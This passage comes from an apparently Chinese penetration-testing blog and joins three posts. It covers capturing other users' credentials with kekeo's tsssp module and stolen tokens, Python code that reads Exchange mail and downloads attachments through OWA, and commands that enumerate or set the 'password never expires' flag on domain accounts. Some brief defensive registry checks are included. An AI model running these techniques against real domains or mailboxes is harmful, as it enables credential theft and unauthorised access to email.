<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint
</code></pre></div></div>
<p>结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-6/3-2.PNG" alt="Alt text" /></p>
<p>这里使用的参数为域内计算机帐户对应的SPN</p>
<p>查看当前域内的所有SPN可以使用setspn命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>setspn.exe -q */*
</code></pre></div></div>
<p>查看test域内的所有SPN:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>setspn.exe -T test -q */*
</code></pre></div></div>
<h2 id="0x04-利用分析">0x04 利用分析</h2>
<hr />
<h3 id="1优点">1.优点</h3>
<p>不需要同lsass进程交互,所以能够绕过对lsass进程的保护</p>
<p>在修改组策略后,只需要普通用户权限就能实现</p>
<p><strong>注:</strong></p>
<p>添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等</p>
<h3 id="2其他利用思路">2.其他利用思路</h3>
<h4 id="1代码的提取">(1)代码的提取</h4>
<p>我将kekeo的<code class="language-plaintext highlighter-rouge">tsssp::client</code>功能单独提取出来,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Language/blob/master/tsssp_client.cpp</p>
<p>代码支持连接本地和远程服务器</p>
<p>只需要填写pipi参数,我的代码会将target参数自动补全为<code class="language-plaintext highlighter-rouge">TERMSRV/<spn></code></p>
<p>连接本地的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp_client.exe localhost
</code></pre></div></div>
<p>测试如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-6/4-1.PNG" alt="Alt text" /></p>
<p>连接远程服务器的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp_client.exe Computer01.test.com
</code></pre></div></div>
<p>测试如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-6/4-2.PNG" alt="Alt text" /></p>
<p>kekeo的<code class="language-plaintext highlighter-rouge">tsssp::server</code>功能需要安装<a href="http://www.oss.com/asn1/products/asn1-c/asn1-c.html">OSS ASN.1/C</a></p>
<p><strong>注:</strong></p>
<p>使用试用版的OSS ASN.1/C编译生成的exe文件无法在未安装OSS ASN.1/C的系统下使用</p>
<h4 id="2抓取其他用户的口令">(2)抓取其他用户的口令</h4>
<p>使用其他用户的token启动kekeo.exe或者tsssp_client.exe即可</p>
<p>token的利用方法可参考<a href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/">《渗透技巧——Token窃取与利用》</a></p>
<h2 id="0x05-防御检测">0x05 防御检测</h2>
<hr />
<p>1.查询组策略配置</p>
<p>查询注册表的cmd命令如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>reg query hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation
</code></pre></div></div>
<p>2.删除组策略配置</p>
<p>删除注册表项的cmd命令如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>reg delete hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f
</code></pre></div></div>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文介绍了<a href="https://github.com/gentilkiwi/kekeo">kekeo</a>的<code class="language-plaintext highlighter-rouge">tsssp</code>模块在不同环境下的利用方法,结合利用思路给出防御建议。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言渗透基础——通过Outlook Web Access(OWA)读取Exchange邮件的命令行实现2020-07-28T00:00:00+00:002020-07-28T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80%E2%80%94%E2%80%94%E9%80%9A%E8%BF%87Outlook%20Web%20Access(OWA)%E8%AF%BB%E5%8F%96Exchange%E9%82%AE%E4%BB%B6%E7%9A%84%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%AE%9E%E7%8E%B0<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>Outlook Web Access的缩写是OWA,是Exchange用于Web方式收发邮件的界面,默认对所有邮箱用户开启。</p>
<p>通常,我们会使用浏览器访问OWA并读取邮件。但站在渗透测试的角度,我们需要通过命令行实现相同的功能。</p>
<p>目前我没有看到合适的开源代码和参考资料,于是打算基于自己的理解编写Python代码实现读取邮件和下载附件的功能。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>实现思路</li>
<li>实现细节</li>
<li>编写程序需要注意的问题</li>
<li>开源代码</li>
<li>使用流程</li>
</ul>
<h2 id="0x02-实现思路">0x02 实现思路</h2>
<hr />
<p>我暂时没有找到介绍OWA协议格式的资料,所以只能通过抓包的方式实现</p>
<p>这里我使用Chrome浏览器自带的抓包工具,在Chrome界面按F12选择<code class="language-plaintext highlighter-rouge">Network</code>即可</p>
<h2 id="0x03-实现细节">0x03 实现细节</h2>
<hr />
<h3 id="1登录操作">1.登录操作</h3>
<p>访问的url为<code class="language-plaintext highlighter-rouge">https://<domain>/owa/auth.owa</code></p>
<p>需要发送POST请求,数据格式:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>destination=https://<domain>/owa&flags=4&forcedownlevel=0&username=<username>&password=<password>&passwordText=&isUtf8=1
</code></pre></div></div>
<p>登录成功后,Cookie包括<code class="language-plaintext highlighter-rouge">X-OWA-CANARY</code>,可以作为判断依据</p>
<p>实际登录过程一共发送了三个数据包,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-28/2-1.png" alt="Alt text" /></p>
<p>在程序实现上,使用Python的requests库不需要考虑这个细节</p>
<p>完整的实现代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-Python/blob/master/checkOWA.py</p>
<p>代码实现了对口令的验证</p>
<p>这里需要注意OWA只能使用明文口令登录,无法使用hash</p>
<h3 id="2访问资源">2.访问资源</h3>
<p>通过抓包发现,基本上每个操作会按照以下格式实现:</p>
<ul>
<li>发送POST包</li>
<li>Header中需要设置X-OWA-CANARY和Action</li>
<li>X-OWA-CANARY可通过登录成功后返回的Cookie获得</li>
<li>需要设置Cookie</li>
<li>POST包的数据格式为JSON</li>
<li>返回结果也是JSON格式</li>
</ul>
<p>为了实现读取邮件内容和下载附件,我们需要通过程序实现以下操作:</p>
<h4 id="1读取文件夹下所有邮件的信息">(1)读取文件夹下所有邮件的信息</h4>
<p>访问的url为<code class="language-plaintext highlighter-rouge">https://<domain>/owa/service.svc?action=FindItem</code></p>
<p>对应的<code class="language-plaintext highlighter-rouge">Action</code>为<code class="language-plaintext highlighter-rouge">FindItem</code></p>
<p>POST包的数据格式:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"__type":"FindItemJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"FindItemRequest:#Exchange","ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly"},"ParentFolderIds":[{"__type":"DistinguishedFolderId:#Exchange","Id":"<Folder>"}],"Traversal":"Shallow","Paging":{"__type":"IndexedPageView:#Exchange","BasePoint":"Beginning","Offset":0,"MaxEntriesReturned":999999},"ViewFilter":"All","ClutterFilter":"All","IsWarmUpSearch":0,"ShapeName":"MailListItem","SortOrder":[{"__type":"SortResults:#Exchange","Order":"Descending","Path":{"__type":"PropertyUri:#Exchange","FieldURI":"DateTimeReceived"}}]}}
</code></pre></div></div>
<p>其中<code class="language-plaintext highlighter-rouge"><Folder></code>需要修改为具体的文件夹名称,例如<code class="language-plaintext highlighter-rouge">inbox</code>或<code class="language-plaintext highlighter-rouge">sentitems</code>,<code class="language-plaintext highlighter-rouge">MaxEntriesReturned</code>我们可以指定为999999</p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-28/2-2.png" alt="Alt text" /></p>
<p>POST请求的返回结果也是JSON格式,包括文件夹中每个邮件的简要信息(例如标题、发件人、发送时间、是否已读和是否包含附件等,但不包括正文内容),同ews的<code class="language-plaintext highlighter-rouge">GetFolder</code>操作返回的结果基本相同</p>
<p>这里需要提取出每个邮件对应的<code class="language-plaintext highlighter-rouge">ConversationId</code>,用作读取邮件内容的参数</p>
<p>在程序实现上,我们需要使用requests中的session对象保持会话状态</p>
<p>具体的实现代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def ListFolder(url, username, password, folder, mode):
session = requests.session()
url1 = 'https://'+ url + '/owa/auth.owa'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)
r = session.post(url1, headers=headers, data=payload, verify = False)
print("[*] Try to login")
if 'X-OWA-CANARY' in r.cookies:
print("[+] Valid:%s %s"%(username, password))
else:
print("[!] Login error")
return 0
print("[*] Try to ListFolder")
url2 = 'https://'+ url + '/owa/service.svc?action=FindItem'
headers = {
'X-OWA-CANARY': r.cookies['X-OWA-CANARY'],
'Action': 'FindItem',
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
body = {"__type":"FindItemJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"FindItemRequest:#Exchange","ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly"},"ParentFolderIds":[{"__type":"DistinguishedFolderId:#Exchange","Id":""}],"Traversal":"Shallow","Paging":{"__type":"IndexedPageView:#Exchange","BasePoint":"Beginning","Offset":0,"MaxEntriesReturned":999999},"ViewFilter":"All","ClutterFilter":"All","IsWarmUpSearch":0,"ShapeName":"MailListItem","SortOrder":[{"__type":"SortResults:#Exchange","Order":"Descending","Path":{"__type":"PropertyUri:#Exchange","FieldURI":"DateTimeReceived"}}]}}
body['Body']['ParentFolderIds'][0]['Id'] = folder
r = session.post(url2, headers=headers, json = body, verify = False)
for item in json.loads(r.text)['Body']['ResponseMessages']['Items'][0]['RootFolder']['Items']:
print('ConversationId:' + item['ConversationId']['Id'])
</code></pre></div></div>
<p>代码会对返回结果的JSON格式进行解析,提取出每份邮件的<code class="language-plaintext highlighter-rouge">ConversationId</code></p>
<h4 id="2读取指定邮件的内容">(2)读取指定邮件的内容</h4>
<p>访问的url为<code class="language-plaintext highlighter-rouge">https://<domain>/owa/service.svc?action=GetConversationItems</code></p>
<p>对应的<code class="language-plaintext highlighter-rouge">Action</code>为<code class="language-plaintext highlighter-rouge">GetConversationItems</code></p>
<p>POST包的数据格式:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"__type":"GetConversationItemsJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"GetConversationItemsRequest:#Exchange","Conversations":[{"__type":"ConversationRequestType:#Exchange","ConversationId":{"__type":"ItemId:#Exchange","Id":""},"SyncState":""}],"ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly","FilterHtmlContent":1,"BlockExternalImagesIfSenderUntrusted":1,"AddBlankTargetToLinks":1,"ClientSupportsIrm":1,"InlineImageUrlTemplate":"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7","MaximumBodySize":2097152,"InlineImageUrlOnLoadTemplate":"InlineImageLoader.GetLoader().Load(this)","InlineImageCustomDataTemplate":"<id>"},"ShapeName":"ItemPartUniqueBody","SortOrder":"DateOrderDescending","MaxItemsToReturn":20}}
</code></pre></div></div>
<p>其中<code class="language-plaintext highlighter-rouge"><id></code>需要修改为邮件对应的<code class="language-plaintext highlighter-rouge">ConversationId</code></p>
<p>这里需要注意,通过浏览器抓到的POST包数据格式,Python无法识别<code class="language-plaintext highlighter-rouge">false</code>和<code class="language-plaintext highlighter-rouge">true</code>,需要将<code class="language-plaintext highlighter-rouge">false</code>替换成0,将<code class="language-plaintext highlighter-rouge">true</code>替换成1</p>
<p>POST请求的返回结果是JSON格式,包括邮件的详细内容</p>
<p>这里需要提取出邮件附件对应的<code class="language-plaintext highlighter-rouge">Id</code>和<code class="language-plaintext highlighter-rouge">ContentType</code>,用作保存附件操作的参数</p>
<p>具体的实现代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def ViewMail(url, username, password, ConversationId):
session = requests.session()
url1 = 'https://'+ url + '/owa/auth.owa'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)
r = session.post(url1, headers=headers, data=payload, verify = False)
print("[*] Try to login")
if 'X-OWA-CANARY' in r.cookies:
print("[+] Valid:%s %s"%(username, password))
else:
print("[!] Login error")
return 0
print("[*] Try to ViewMail")
url2 = 'https://'+ url + '/owa/service.svc?action=GetConversationItems'
headers = {
'X-OWA-CANARY': r.cookies['X-OWA-CANARY'],
'Action': 'GetConversationItems',
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
body = {"__type":"GetConversationItemsJsonRequest:#Exchange","Header":{"__type":"JsonRequestHeaders:#Exchange","RequestServerVersion":"Exchange2013","TimeZoneContext":{"__type":"TimeZoneContext:#Exchange","TimeZoneDefinition":{"__type":"TimeZoneDefinitionType:#Exchange","Id":"SA Pacific Standard Time"}}},"Body":{"__type":"GetConversationItemsRequest:#Exchange","Conversations":[{"__type":"ConversationRequestType:#Exchange","ConversationId":{"__type":"ItemId:#Exchange","Id":""},"SyncState":""}],"ItemShape":{"__type":"ItemResponseShape:#Exchange","BaseShape":"IdOnly","FilterHtmlContent":1,"BlockExternalImagesIfSenderUntrusted":1,"AddBlankTargetToLinks":1,"ClientSupportsIrm":1,"InlineImageUrlTemplate":"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAEALAAAAAABAAEAAAIBTAA7","MaximumBodySize":2097152,"InlineImageUrlOnLoadTemplate":"InlineImageLoader.GetLoader().Load(this)","InlineImageCustomDataTemplate":"{id}"},"ShapeName":"ItemPartUniqueBody","SortOrder":"DateOrderDescending","MaxItemsToReturn":20}}
body['Body']['Conversations'][0]['ConversationId']['Id'] = ConversationId
r = session.post(url2, headers=headers, json = body, verify = False)
for item in json.loads(r.text)['Body']['ResponseMessages']['Items'][0]['Conversation']['ConversationNodes'][0]['Items']:
print('Subject:' + item['Subject'])
if 'From' in item:
print('From:' + item['From']['Mailbox']['Name'])
print('FromEmailAddress:' + item['From']['Mailbox']['EmailAddress'])
else:
print('From:' + 'Self')
for user in item['ToRecipients']:
print('ToRecipients:' + user['Name'])
print('ToRecipientsEmailAddress:' + user['EmailAddress'])
print('DisplayTo:' + item['DisplayTo'])
print('HasAttachments:' + str(item['HasAttachments']))
if item['HasAttachments'] == True:
for att in item['Attachments']:
print(' Name:' + att['Name'])
print(' ContentType:' + att['ContentType'])
print(' Id:' + att['AttachmentId']['Id'])
print('IsRead:' + str(item['IsRead']))
print('DateTimeReceived:' + item['DateTimeReceived'])
print('Body:\r\n' + item['UniqueBody']['Value'])
print('\r\n')
r.close()
</code></pre></div></div>
<p>代码会对返回结果的JSON格式进行解析,提取出邮件的具体内容,如果包含多个附件,会逐个输出<code class="language-plaintext highlighter-rouge">Name</code>、<code class="language-plaintext highlighter-rouge">ContentType</code>和<code class="language-plaintext highlighter-rouge">Id</code></p>
<h4 id="3下载附件并保存">(3)下载附件并保存</h4>
<p>访问的url为<code class="language-plaintext highlighter-rouge">https://<domain>/owa/service.svc/s/GetFileAttachment?id=<id>&X-OWA-CANARY=<X-OWA-CANARY></code></p>
<p>其中<code class="language-plaintext highlighter-rouge"><id></code>需要修改为附件对应的Id,<code class="language-plaintext highlighter-rouge"><X-OWA-CANARY></code>在登录成功后返回的Cookie获得</p>
<p>这里使用GET请求,返回结果的header中包括附件的文件名称,返回结果的网页内容为附件的内容</p>
<p>在保存附件时需要注意保存的格式,区分是文本文件还是二进制文件</p>
<p>如果是文本文件,可保存<code class="language-plaintext highlighter-rouge">r.text</code>的内容</p>
<p>如果是二进制文件,可保存<code class="language-plaintext highlighter-rouge">r.content</code>的内容</p>
<p>具体的实现代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def DownloadAttachment(url, username, password, Id, mode):
session = requests.session()
url1 = 'https://'+ url + '/owa/auth.owa'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
payload = 'destination=https://%s/owa&flags=4&forcedownlevel=0&username=%s&password=%s&passwordText=&isUtf8=1'%(url, username, password)
r = session.post(url1, headers=headers, data=payload, verify = False)
print("[*] Try to login")
if 'X-OWA-CANARY' in r.cookies:
print("[+] Valid:%s %s"%(username, password))
else:
print("[!] Login error")
return 0
print("[*] Try to DownloadAttachment")
url2 = 'https://'+ url + '/owa/service.svc/s/GetFileAttachment?id=' + Id + '&X-OWA-CANARY=' + r.cookies['X-OWA-CANARY']
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
r = session.get(url2, headers=headers, verify = False)
pattern_name = re.compile(r"\"(.*?)\"")
name = pattern_name.findall(r.headers['Content-Disposition'])
print('[+] Attachment name: %s'%(name[0]))
if mode == 'text':
with open(name[0], 'w+', encoding='utf-8') as file_object:
file_object.write(r.text)
elif mode == 'raw':
with open(name[0], 'wb+') as file_object:
file_object.write(r.content)
r.close()
</code></pre></div></div>
<p>完整的实现代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-Python/blob/master/owaManage.py</p>
<p>使用示例:</p>
<p>(1)查看发件箱中的邮件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python owaManage.py 192.168.1.1 test1 DomainUser123! ListFolder
</code></pre></div></div>
<p>指定文件夹:<code class="language-plaintext highlighter-rouge">sentitems</code></p>
<p>指定输出结果类型:<code class="language-plaintext highlighter-rouge">full</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-28/3-1.png" alt="Alt text" /></p>
<p>结果返回邮件总数和每个邮件的信息,这里获取邮件对应的<code class="language-plaintext highlighter-rouge">ConversationId</code>:<code class="language-plaintext highlighter-rouge">AAQkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgAQAJdkOHS5cphDrNGlVbVpnIo=</code></p>
<p>(2)读取邮件内容</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python owaManage.py 192.168.1.1 test1 DomainUser123! ViewMail
</code></pre></div></div>
<p>指定邮件对应的<code class="language-plaintext highlighter-rouge">ConversationId</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-28/3-2.png" alt="Alt text" /></p>
<p>结果返回邮件的具体内容,这里获得附件111.txt的类型为<code class="language-plaintext highlighter-rouge">text/plain</code>,对应的<code class="language-plaintext highlighter-rouge">Id</code>:<code class="language-plaintext highlighter-rouge">AAMkADc4YjRlNDc1LWI0YjctNDEzZi1hNTQ5LWZkYWY0ZGZhZDM0NgBGAAAAAABEBlGH6URWQp6Nlg9RxLmyBwA1ZCfAg9a0Sq75no2JOzsqAAAAAAEKAAA1ZCfAg9a0Sq75no2JOzsqAAAAAByNAAABEgAQAO2T/TJsdj9Emo9dwiMqlrM=</code></p>
<p>(3)下载附件</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python owaManage.py 192.168.1.1 test1 DomainUser123! DownloadAttachment
</code></pre></div></div>
<p>指定附件对应的<code class="language-plaintext highlighter-rouge">Id</code></p>
<p>指定保存格式为<code class="language-plaintext highlighter-rouge">text</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-28/3-3.png" alt="Alt text" /></p>
<h2 id="0x04-小结">0x04 小结</h2>
<hr />
<p>本文介绍了编写Python代码实现通过Outlook Web Access(OWA)读取Exchange邮件的实现细节,记录开发过程。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言渗透基础——域用户的密码永不过期属性2020-07-21T00:00:00+00:002020-07-21T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80%E2%80%94%E2%80%94%E5%9F%9F%E7%94%A8%E6%88%B7%E7%9A%84%E5%AF%86%E7%A0%81%E6%B0%B8%E4%B8%8D%E8%BF%87%E6%9C%9F%E5%B1%9E%E6%80%A7<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在域环境中,域用户的凭据是十分重要的信息。为了增强安全性,域组策略会设置所有域用户口令的最长有效时间,到达过期时间后强制用户更改口令。</p>
<p>在实际环境中,有些域用户需要设置为密码永不过期,这可以通过添加密码永不过期属性来实现。</p>
<p>在域渗透中,我们需要枚举出具有密码永不过期属性的域用户,也需要能够将某个域用户设置为密码永不过期。</p>
<p>相对的站在防御角度,我们需要尽可能减少具有密码永不过期属性的域用户,也需要能够实时掌握这个域用户列表。</p>
<p>所以本文将会介绍不同条件下多种枚举、添加和删除密码永不过期属性的方法,分析原理,开源代码。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>实现原理</li>
<li>枚举密码设置为永不过期的用户</li>
<li>向指定用户添加密码永不过期属性的方法</li>
<li>向指定用户删除密码永不过期属性的方法</li>
</ul>
<h2 id="0x02-实现原理">0x02 实现原理</h2>
<hr />
<p>域用户的密码永不过期属性保存在域用户的<code class="language-plaintext highlighter-rouge">userAccountControl</code>属性中</p>
<p>userAccountControl属性使用数字表示,数值是多个具体属性数值的总和</p>
<p>每个具体属性对应一个不同的数值,具体的数值可参考:https://support.microsoft.com/en-us/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties</p>
<p>下面举例进行说明:</p>
<p>用户test1的userAccountControl属性值为514,那么这个用户的具体属性如下:</p>
<ul>
<li>ACCOUNTDISABLE,2</li>
<li>NORMAL_ACCOUNT,512</li>
</ul>
<p>计算方法为2+512=514</p>
<h4 id="添加密码永不过期属性的方法">添加密码永不过期属性的方法:</h4>
<p>密码永不过期属性对应的值为65536(DONT_EXPIRE_PASSWORD),将userAccountControl属性值514再加上65536,设置为66048即可</p>
<p><strong>注:</strong></p>
<p>在程序设计上,为了可重复使用,采用的方法是同65536作按位或运算(<code class="language-plaintext highlighter-rouge">运算符|</code>)</p>
<p>按位或运算的运算规则:参加运算的两个数,按二进制位进行或运算,只要对应的二进位有一个为1时,结果位就为1,否则为0</p>
<h4 id="删除密码永不过期属性的方法">删除密码永不过期属性的方法:</h4>
<p>将userAccountControl属性值减去65536即可</p>
<p><strong>注:</strong></p>
<p>在程序设计上,为了可重复使用,采用的方法是同65536作按位异或运算(<code class="language-plaintext highlighter-rouge">运算符^</code>)</p>
<p>按位异或运算的运算规则:参加运算的两个数,按二进制位进行”异或”运算,如果两个相应位相同,则结果为0,否则为1</p>
<h4 id="查看密码永不过期属性的方法">查看密码永不过期属性的方法:</h4>
<p>userAccountControl属性值是各个数值的总和,我们无法通过简单的加减法计算出userAccountControl属性值是否包括65536这个被加数</p>
<p>这里可以通过按位与运算(<code class="language-plaintext highlighter-rouge">运算符&</code>)来实现</p>
<p>按位与运算的运算规则:参加运算的两个数,按二进制位进行”与”运算,只有两个数的二进制同时为1,结果才为1,否则为0</p>
<h4 id="查看密码永不过期属性的计算方法">查看密码永不过期属性的计算方法:</h4>
<p>将userAccountControl属性值同65536做按位与运算,如果结果为65536,那么代表具有密码永不过期的属性</p>
<h2 id="0x03-枚举密码设置为永不过期的用户">0x03 枚举密码设置为永不过期的用户</h2>
<hr />
<p>我们在域控制器上,通过<code class="language-plaintext highlighter-rouge">Active Directory Users and Computers</code>查看每个域用户的<code class="language-plaintext highlighter-rouge">Account</code>属性,可以看到用户是否设置为密码永不过期,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-21/2-1.png" alt="Alt text" /></p>
<p>下面介绍不同环境下的枚举方法</p>
<h3 id="1从域内进行枚举的方法">1.从域内进行枚举的方法</h3>
<h4 id="1windows系统使用powershell-activedirectory模块">(1)Windows系统使用Powershell ActiveDirectory模块</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Import-Module ActiveDirectory
Search-ADAccount -PasswordNeverExpires | FT Name
</code></pre></div></div>
<p>或者:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Import-Module ActiveDirectory
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where {$_.passwordNeverExpires -eq "true" }| FT Name
</code></pre></div></div>
<h4 id="2windows系统使用powerview">(2)Windows系统使用PowerView</h4>
<p>https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1</p>
<p>命令示例:</p>
<p>显示出指定用户的属性:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import-module .\PowerView.ps1
Get-NetUser test1| select useraccountcontrol | ConvertFrom-UACValue
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-21/2-2.png" alt="Alt text" /></p>
<p>筛选出符合条件的所有用户:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import-module .\PowerView.ps1
ForEach($User in (Get-NetUser))
{
if(($User.useraccountcontrol -band 65536) -eq 65536)
{
Write-Output $User.samaccountname
}
}
</code></pre></div></div>
<h4 id="3windows系统使用c实现">(3)Windows系统使用C#实现</h4>
<p>使用命名空间<code class="language-plaintext highlighter-rouge">System.DirectoryServices</code>,详细代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/List_passwordneverexpires_user_byLDAP.cs</p>
<p>如果使用当前用户的凭据,需要将代码<code class="language-plaintext highlighter-rouge">DirectoryEntry de = new DirectoryEntry("LDAP://" + args[0],args[1],args[2]);</code>替换为<code class="language-plaintext highlighter-rouge">DirectoryEntry de = new DirectoryEntry("LDAP://" + args[0]);</code></p>
<p>测试如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-21/2-3.png" alt="Alt text" /></p>
<h4 id="4kali系统通过ldapsearch枚举">(4)Kali系统通过ldapsearch枚举</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainPassword123! -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" grep userAccountControl
</code></pre></div></div>
<p>测试如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-7-21/2-4.png" alt="Alt text" /></p>
<p>获取userAccountControl属性值后再同65536做按位与运算,获得最终结果</p>
<h3 id="2从域外进行枚举的方法">2.从域外进行枚举的方法</h3>
<h4 id="1windows系统使用powershell-activedirectory模块-1">(1)Windows系统使用Powershell ActiveDirectory模块</h4>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import-module .\Microsoft.ActiveDirectory.Management.dll
$uname="test1"
$pwd=ConvertTo-SecureString "DomainPassword123!" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Search-ADAccount -Server 192.168.1.1 -Credential $cred -Verbose -PasswordNeverExpires | FT Name
</code></pre></div></div>
<p>或者:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import-module .\Microsoft.ActiveDirectory.Management.dll
$uname="test1"
$pwd=ConvertTo-SecureString "DomainPassword123!" -AsPlainText –Force
